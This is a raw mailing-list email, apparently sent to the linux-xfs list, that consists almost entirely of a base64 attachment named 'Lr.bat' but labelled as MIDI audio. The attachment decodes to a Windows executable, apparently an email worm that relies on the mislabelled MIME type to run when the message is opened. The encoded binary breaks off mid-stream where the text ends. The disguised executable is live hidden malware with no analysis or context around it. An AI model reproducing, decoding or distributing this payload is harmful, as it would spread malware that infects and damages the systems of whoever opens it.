+0400 Content-Transfer-Encoding: 8bit X-archive-position: 3 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: jack@wwits.net Precedence: bulk X-list: linux-xfs --X8H68A33V8 Content-Type: text/html; Content-Transfer-Encoding: quoted-printable --X8H68A33V8 Content-Type: audio/x-midi; name=Lr.bat Content-Transfer-Encoding: base64 Content-ID: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA AAAAUAkAEAAAAABAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 